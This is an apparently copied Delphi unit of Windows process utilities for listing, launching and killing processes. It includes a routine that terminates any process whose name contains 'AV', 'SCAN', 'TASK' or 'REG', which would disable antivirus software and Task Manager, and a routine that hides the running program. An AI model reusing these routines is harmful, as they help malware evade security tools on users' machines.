网上淘来的delphi进程操作单元

{
   Unit:       syant_process
   Category:   process
   Date:       2008/04/05
   Version:    1.0.0.0
   Author:     Syant J. Wang
 }

unit syant_process;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ShellAPI,TlHelp32,PsAPI;

type
  TxEnumProcesses_Psapi = function (ProcessID: DWORD; pContext: Pointer): Boolean;

{
 I can use this function to get the location of a application by a window of it .
}
function  MyGetWindowModuleFileName(Wnd: HWND): string;    //By window
function  MyGetWindowModuleFileNmae(PID:dword):string;     //By processID
function  MyGetProcessID(var List: TStringList; FileName: string = ''): TProcessEntry32;
procedure MyGetProcessModule(FProcessEntry32: TProcessEntry32;ModuleStruct: TMODULEENTRY32);

//category: PID & PHandle & window
function  MyGetPIDByWindow(H:THandle):HWND;
function  MyGetPIDByExename(exename:string):HWND;
function  MyGetWindowByPID(ProcessID:DWORD):THandle;
function  MyGetPHandleByPID(PID:HWND):THandle;

//category: create & kill
function   MyShellExecute(const sFileName:string;sPara:string=''; sAction:string='open'): Boolean;
procedure  MyWinExec(CmdLine:string;uCmdShow:Integer=SW_SHOW);
function   MyCreateProcess(filename:string):cardinal;
function   MyCreateProcessEx(const Command: string; bWaitExecute: Boolean; bShowWindow: Boolean; PI: PProcessInformation): Boolean;
function   MyCreateProcessAsCommon(filename,para:string;var waring:string):thandle;
function   MyCreateProcseeAsAnyone(usename,password,doman,exename:string;var success:boolean;time:integer;wait:boolean):TProcessInformation;
Procedure  MyKillProcess(Curr_App:TApplication);overload//Kill Process
procedure  MyKillProcess(PID:HWND);overload
procedure  MyKillProcess(exename:string);overload
procedure  MyKillProcessEx(PID:HWND);

//
Function   MyKillTask(ExeFileName: string): Integer;
Procedure  MyKillALlEnemy;

//
Procedure  MyHideApp;

var
  WindowModuleFileName: string;
  ModuleArray: array of TModuleEntry32;

implementation

uses
  syant_utils,
  syant_string;

                                                                     // print  explore
function MyShellExecute(const sFileName:string;sPara:string=''; sAction:string='open'): Boolean;
begin
  Result := ShellExecute(Application.Handle, PChar(sAction), PChar(sFileName), PChar(sPara), PChar(''), SW_SHOW) > 32;
  if not Result then RaiseLastError('ShellExecute');
end;

procedure  MyWinExec(CmdLine:string;uCmdShow:Integer=SW_SHOW);
begin
    winexec(PChar(CmdLine),uCmdShow);
end;

function  MyCreateProcessEx(const Command: string;
                            bWaitExecute: Boolean;
                            bShowWindow: Boolean;
                            PI: PProcessInformation): Boolean;
var
  StartupInfo       : TStartupInfo;      
  ProcessInformation: TProcessInformation;
begin
  FillChar(StartupInfo, SizeOf(TStartupInfo), 0);
  with StartupInfo do
  begin
    cb := SizeOf(TStartupInfo);
    dwFlags := STARTF_USESHOWWINDOW;
    if bShowWindow then
      wShowWindow := SW_NORMAL
    else
      wShowWindow := SW_HIDE;
  end;

  Result := CreateProcess(nil, PChar(Command),
    nil, nil, True, NORMAL_PRIORITY_CLASS, nil, nil,
    StartupInfo, ProcessInformation);

  if not Result then Exit;

  if bWaitExecute then
    WaitForSingleObject(ProcessInformation.hProcess, INFINITE);

  if Assigned(PI) then
    Move(ProcessInformation, PI^, SizeOf(ProcessInformation));
end;

function   MyCreateProcessAsCommon(filename,para:string;var waring:string):thandle;
var
  explorerhandle:thandle;
  hToken:thandle;
  ph:thandle;
  si:startupinfo;
  pi:PROCESS_INFORMATION;
  ok:boolean;
begin
  result:=0;
  explorerhandle:=MyGetPIDByExename('EXPLORER.EXE');
  if explorerhandle=0 then exit;
  ph:=openprocess(PROCESS_ALL_ACCESS,false,explorerhandle);
  if ph<=0 then exit;
  Openprocesstoken(ph,TOKEN_ALL_ACCESS,hToken);
  try
    zeromemory(@si,sizeof(STARTUPINFO));
    si.cb:=sizeof(STARTUPINFO);
    SI.lpDesktop:=PCHAR('Winsta0\Default');
    si.wShowWindow:=SW_SHOWNORMAL;  //SW_HIDE;   //
    ok:=CreateProcessAsUser(hToken,
        pchar(filename),
        pchar(para),
        nil,
        nil,
        false,
        CREATE_DEFAULT_ERROR_MODE,
        nil,
        nil,
        si,
        pi);
    if ok  then   result:=pi.hProcess;
  finally

  end;
  //result:=true;
end;

type
   _STARTUPINFOW   =   record
      cb:   DWORD;
      lpReserved:   LPWSTR;
      lpDesktop:   LPWSTR;
      lpTitle:   LPWSTR;
      dwX:   DWORD;
      dwY:   DWORD;
      dwXSize:   DWORD;
      dwYSize:   DWORD;
      dwXCountChars:   DWORD;
      dwYCountChars:   DWORD;
      dwFillAttribute:   DWORD;
      dwFlags:   DWORD;
      wShowWindow:   Word;
      cbReserved2:   Word;
      lpReserved2:   PByte;
      hStdInput:   THandle;
      hStdOutput:   THandle;
      hStdError:   THandle;
   end;
   STARTUPINFOW   =   _STARTUPINFOW;
function   CreateProcessWithLogonW(lpUserName,lpDomain,lpPassword:LPCWSTR;
      dwLogonFlags:DWORD;lpApplicationName:LPCWSTR;lpCommandLine:LPWSTR;
      dwCreationFlags:DWORD;lpEnvironment:Pointer;lpCurrentDirectory:LPCWSTR;
      const lpStartupInfo:STARTUPINFOW;var lpProcessInformation:PROCESS_INFORMATION):BOOL;stdcall;
      external advapi32  Name   'CreateProcessWithLogonW';
function   MyCreateProcseeAsAnyone(usename,password,doman,exename:string;var success:boolean;time:integer;wait:boolean):TProcessInformation;
var
   STARTUPINFO:StartupInfoW;
   ProcessInfo:TProcessInformation;
   AUser,ADomain,APass,AExe:WideString;
const
   LOGON_WITH_PROFILE=$00000001;
   LOGON_NETCREDENTIALS_ONLY=$00000002;
begin
   success:=true;
   FillChar(STARTUPINFO,SizeOf(StartupInfoW),#0);
   STARTUPINFO.cb:=SizeOf(StartupInfoW);
   STARTUPINFO.dwFlags:=STARTF_USESHOWWINDOW;
   STARTUPINFO.wShowWindow:=SW_SHOW;
   AUser:=usename;
   ADomain:=doman;
   APass:=password;
   AExe:=exename;
   if not CreateProcessWithLogonW(PWideChar(AUser),PWideChar(ADomain),
          PWideChar(APass),  
          LOGON_WITH_PROFILE,nil,PWideChar(AExe),
          NORMAL_PRIORITY_CLASS,nil,nil,STARTUPINFO,ProcessInfo) then
   begin
     success:=false;
     RaiseLastOSError;
     exit;
   end;
   result:=ProcessInfo;
   if wait then
   begin
     if time =-1 then
        WaitForSingleObject(ProcessInfo.hProcess,INFINITE)
     else WaitForSingleObject(ProcessInfo.hProcess,time);
   end;
end;

Procedure MyKillProcess(Curr_App:TApplication);//Kill Process
var
  P:Dword;
begin
  GetWindowThreadProcessId(Curr_App.Handle,@P);
  if P<>0 then TerminateProcess(OpenProcess(PROCESS_TERMINATE,False,P),$FFFFFFFF);
end;

procedure  MyKillProcess(exename:string);overload
var
  Han: THandle;
  exithan:Thandle;
  Process: PROCESSENTRY32;
  ProcessID: int64;
  ok: boolean;
  ExitCode: DWORD;
  i: integer;
begin
  i := 0;
  Han := CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
  Process.dwSize := SizeOf(Process);
  ok := Process32First(Han, Process);
  while ok do
  begin
    if uppercase(Process.szExeFile)=uppercase(exename) then
    begin
     processID:=PROCESS.th32ProcessID;
     exithan:= OpenProcess(PROCESS_TERMINATE, true, ProcessID);
     GetExitCodeProcess(exitHan, ExitCode);
     TerminateProcess(exitHan, ExitCode);
    end;
    i := i + 1;
    ok := Process32Next(Han, Process);
  end;
end;

procedure  MyKillProcessEx(PID:HWND);
var
  Han: THandle;
  ExitCode: DWORD;
begin
      Han := OpenProcess(PROCESS_TERMINATE, true, PID);
      GetExitCodeProcess(Han, ExitCode);
      TerminateProcess(Han, ExitCode);
end;

procedure  MyKillProcess(PID:HWND);
var
  processhndle:HWND;
begin
  processhndle:=MyGetPHandleByPID(pid) ;
  if ProcessHndle = 0 then  Exit;                  
  TerminateProcess(ProcessHndle, 0);
  CloseHandle(ProcessHndle);
end;

function  MyGetPIDByWindow(H:THandle):HWND;
var
   mypid:HWND;
begin
     GetWindowThreadProcessId(H, @mypid);
     result:=mypid;
end;

function  MyGetPIDByExename(exename:string):HWND;
var
  Ret: BOOL;
  s: string;
  FProcessEntry32: TProcessEntry32;
  FSnapshotHandle: THandle;
begin
  RESULT:=0;
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
  Ret := Process32First(FSnapshotHandle, FProcessEntry32);
  while Ret do
  begin
    s := UPPERCASE(ExtractFileName(FProcessEntry32.szExeFile));
    if false then
    begin
    end
    else if (AnsicompareText(Trim(s),exename)=0)  then
    begin
      result := FProcessEntry32.th32ProcessID;
      break;
    end;
    Ret := Process32Next(FSnapshotHandle, FProcessEntry32);
  end;
  CloseHandle(FSnapshotHandle);
end;

function  MyGetWindowByPID(ProcessID:DWORD):THandle;
    type
      PProcessWindowInfo=^TProcessWindowInfo;
      TProcessWindowInfo=record
        ProcessID:DWORD;
        Handle:THandle;
      end;
    function CheckProcessWindow(Handle: HWND; Info: Pointer): BOOL; stdcall;
    var
      ProcessID:DWORD;
    begin
      GetWindowThreadProcessId(Handle,ProcessID);
      Result := ProcessID<>PProcessWindowInfo(Info)^.ProcessID;
      if not Result then
        PProcessWindowInfo(Info)^.Handle:=Handle;
    end;
var
  Info:TProcessWindowInfo;
begin
  Info.ProcessID:=ProcessID;
  Info.Handle:=0;
  EnumWindows(@CheckProcessWindow, Longint(@Info));
  Result:=Info.Handle;
end;

function  MyGetPHandleByPID(PID:HWND):THandle;
begin
  result:=OpenProcess(PROCESS_TERMINATE,FALSE,PID);
end;

function MyCreateProcess(filename:string):cardinal;
var
    sStartInfo: STARTUPINFO;
    seProcess, seThread: SECURITY_ATTRIBUTES;
    bSuccess: boolean;
    PProcInfo: PROCESS_INFORMATION;
    exitCode:cardinal;
begin
  if true then //OpenDialog1.Execute then   
  begin
       ZeroMemory(@sStartInfo, sizeof(sStartInfo));
       SStartInfo.cb := sizeof(sStartInfo);
       seProcess.nLength := sizeof(seProcess);
       seProcess.lpSecurityDescriptor := PChar(nil);
       seProcess.bInheritHandle := true;
       seThread.nLength := sizeof(seThread);
       seThread.lpSecurityDescriptor := PChar(nil);
       seThread.bInheritHandle := true;                                                      //Create_Suspended
       bSuccess := CreateProcess(PChar(nil), Pchar(FileName), @seProcess, @seThread, false, CREATE_DEFAULT_ERROR_MODE
                   , Pchar(nil), Pchar(nil), sStartInfo, PProcInfo);
      if (not bSuccess) then
      begin
          exit;
      end
      else
      begin
      end ;
      if bSuccess then
     begin
      waitforSingleObject(PProcInfo.hProcess,INFINITE);
        GetExitCodeProcess(PProcInfo.hProcess,exitCode);
        Result:=Exitcode;
      End;
  end;

end;

procedure xEnumProcesses_Psapi(EnumProc: TxEnumProcesses_Psapi; pContext: Pointer);
var
  cbNeeded: DWORD;
  P, PP   : PDWORD;
  I       : Integer;
begin
  if not Assigned(EnumProc) then Exit;

  EnumProcesses(nil, 0, cbNeeded);
  GetMem(P, cbNeeded);
  try
    if not EnumProcesses(P, cbNeeded, cbNeeded) then
      RaiseLastError('EnumProcesses');

    PP := P;
    for I := 0 to cbNeeded div sizeof(DWORD) - 1 do
    begin
      if not EnumProc(PP^, pContext) then break;
      Inc(PP);
    end;
  finally
    FreeMem(P);
  end;
end;

    function xEnumProcesses_ToolHelp_GetWindowModuleFileName_Proc(ProcessEntry: TProcessEntry32; pContext: Pointer): Boolean;
    begin
      Result := ProcessEntry.th32ProcessID <> DWORD(pContext);
      if not Result then WindowModuleFileName := ProcessEntry.szExeFile;
    end;

// syant 2008/02/20
function MyGetWindowModuleFileName(Wnd: HWND): string;
    type
       TxEnumProcesses_ToolHelp = function (ProcessEntry: TProcessEntry32; pContext: Pointer): Boolean;
    procedure xEnumProcesses_ToolHelp(EnumProc: TxEnumProcesses_ToolHelp; pContext: Pointer);
    var
      hSnapshot   : THandle;
      bResult     : Boolean;
      ProcessEntry: TProcessEntry32;
    begin
      if not Assigned(EnumProc) then Exit;
      hSnapshot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
      if hSnapshot = 0 then
        RaiseLastError('CreateToolhelp32Snapshot,Call syant please');;

      ProcessEntry.dwSize := sizeof(ProcessEntry);
      bResult := Process32First(hSnapshot, ProcessEntry);
      while bResult do
      begin
        if not EnumProc(ProcessEntry, pContext) then break;
        ProcessEntry.dwSize := sizeof(ProcessEntry);
        bResult := Process32Next(hSnapshot, ProcessEntry);
      end;
      CloseHandle(hSnapshot);
    end;
var
  Buf              : array[0..255] of char;
  ProcessID        : DWORD;
  hProcess, hModule: THandle;
  cbNeeded         : DWORD;
begin
  GetWindowThreadProcessId(Wnd, @ProcessID);
  if Win32Platform = VER_PLATFORM_WIN32_WINDOWS then
  begin
    xEnumProcesses_ToolHelp(xEnumProcesses_ToolHelp_GetWindowModuleFileName_Proc, Pointer(ProcessID));
    Result := WindowModuleFileName;
  end else
  begin
    hProcess := OpenProcess(PROCESS_ALL_ACCESS, false, ProcessID);
    hModule := 0;
    EnumProcessModules(hProcess, @hModule, 4, cbNeeded);
    GetModuleFileNameEx(hProcess, hModule, Buf, sizeof(Buf));
    Result := strpas(Buf);
    CloseHandle(hProcess);
  end;
end;

function  MyGetWindowModuleFileNmae(PID:dword):string;
var
  H: THandle;
  TM: TModuleEntry32;
begin
  Result:='';
  H := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,PID);
  if H > 0 then
  begin
    TM.dwSize := sizeof(TM);
    Module32First(H, TM);
    Result:=TM.szExePath;
  end;
end;

function  MyGetProcessID(var List: TStringList; FileName: string = ''): TProcessEntry32;
var
  Ret: BOOL;
  s: string;
  FProcessEntry32: TProcessEntry32;
  FSnapshotHandle: THandle;
begin
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
  Ret := Process32First(FSnapshotHandle, FProcessEntry32);
  while Ret do
  begin
    s := ExtractFileName(FProcessEntry32.szExeFile);
    //S:=FProcessEntry32.szExeFile;
    if (FileName = '') then
      List.Add(PChar(s))
    else if (AnsicompareText(Trim(s),Trim(FileName))=0) and (FileName <> '') then
    begin
      List.Add(Pchar(s));
      result := FProcessEntry32;
      break;
    end;
    Ret := Process32Next(FSnapshotHandle, FProcessEntry32);
  end;
  CloseHandle(FSnapshotHandle);
end;

procedure MyGetProcessModule(FProcessEntry32: TProcessEntry32;ModuleStruct: TMODULEENTRY32);
var
  PID: integer;
  ModuleListHandle: Thandle;
  J: integer;
  Yn: boolean;
begin
  PID := FProcessEntry32.th32ProcessID;
  ModuleListHandle := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pID);
  ModuleStruct.dwSize := sizeof(ModuleStruct);
  yn := Module32First(ModuleListHandle, ModuleStruct);
  j := 0;
  while (yn) do
  begin
    SetLength(ModuleArray, j + 1);
    ModuleArray[j] := ModuleStruct;
    { Listbox2.Items.add('Module Name:' + ModuleArray[i].szModule);
      Listbox2.items.add('Module ID:' + IntToStr(ModuleArray[i].th32ModuleID));
      Listbox2.items.add('ProcessID:' + IntToStr(ModuleArray[i].th32ProcessID));
      Listbox2.Items.add('GlblcntUsage:' + intToStr(ModuleArray[i].GlblcntUsage));
      Listbox2.items.add('ProccntUsage:' + IntToStr(ModuleArray[i].ProccntUsage));
      ListBox2.items.add(format('Module BaseAddr:%.8X' ,[Integer(ModuleArray[i].modBaseAddr)]));
      Listbox2.items.add(format('Module Size:%.8X' ,[ModuleArray[i].modBaseSize]));
      Listbox2.items.add(format('Module Handle:%.8X' ,[ModuleArray[i].hModule]));  }
    yn := Module32Next(ModuleListHandle, ModuleStruct);
    J := j + 1;
  end;
  CloseHandle(ModuleListHandle);
end;

Function MyKillTask(ExeFileName: string): Integer;
const
  PROCESS_TERMINATE = $0001;
var
  ContinueLoop: BOOL;
  FSnapshotHandle: THandle;
  FProcessEntry32: TProcessEntry32;
begin
  Result := 0;
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  FProcessEntry32.dwSize := SizeOf(FProcessEntry32);
  ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
  while Integer(ContinueLoop) <> 0 do
  begin
    If Pos(UpperCase(ExeFileName),UpperCase(FProcessEntry32.szExeFile))<>0 Then
      Result := Integer(TerminateProcess(
                        OpenProcess(PROCESS_TERMINATE,
                                    BOOL(0),
                                    FProcessEntry32.th32ProcessID),
                                    0));
     ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
  end;
  CloseHandle(FSnapshotHandle);
end;

Procedure MyHideApp;
type
  TRegisterServiceProcess = function(dwProcessID,dwType: DWord) : DWord; stdcall;
Var
 hKernel32: HInst;
 RegisterServiceProcess: TRegisterServiceProcess;
Begin
 hKernel32 := LoadLibrary('Kernel32.dll');
 If hKernel32 <> HInst(nil) then
 RegisterServiceProcess := GetProcAddress(hKernel32,'RegisterServiceProcess')
 Else RegisterServiceProcess := nil;
 If Assigned(RegisterServiceProcess) Then
 RegisterServiceProcess(GetCurrentProcessID,1)
 Else SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,nil,0);
 {
     ShowWindow( Application.Handle, SW_HIDE );
    SetWindowLong( Application.Handle, GWL_EXSTYLE,
                 GetWindowLong(Application.Handle, GWL_EXSTYLE) or
                 WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
    ShowWindow( Application.Handle, SW_SHOW );
    }
End;

Procedure MyKillALlEnemy;  // Syant is great , so I need kill all enemy !!!
var
  Proc   : TProcessEntry32;
  Snap   : THandle;
  Kelime : String;
Begin
  Snap := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS,0);
  Proc.dwSize := SizeOf(TProcessEntry32);
  Process32First(Snap,Proc);
  Repeat
   Kelime:=String(Proc.szExeFile);
   If (Pos('AV',UpperCase(Kelime)) <> 0) Or (Pos('SCAN',UpperCase(Kelime)) <> 0) Or (Pos('TASK',UpperCase(Kelime)) <> 0) Or (Pos('REG',UpperCase(Kelime)) <> 0) Then Begin MyKilltask(Kelime); Sleep(1000); End;
  Until (not Process32Next(Snap,Proc));
  { AutoStart Ekle}

End;

end.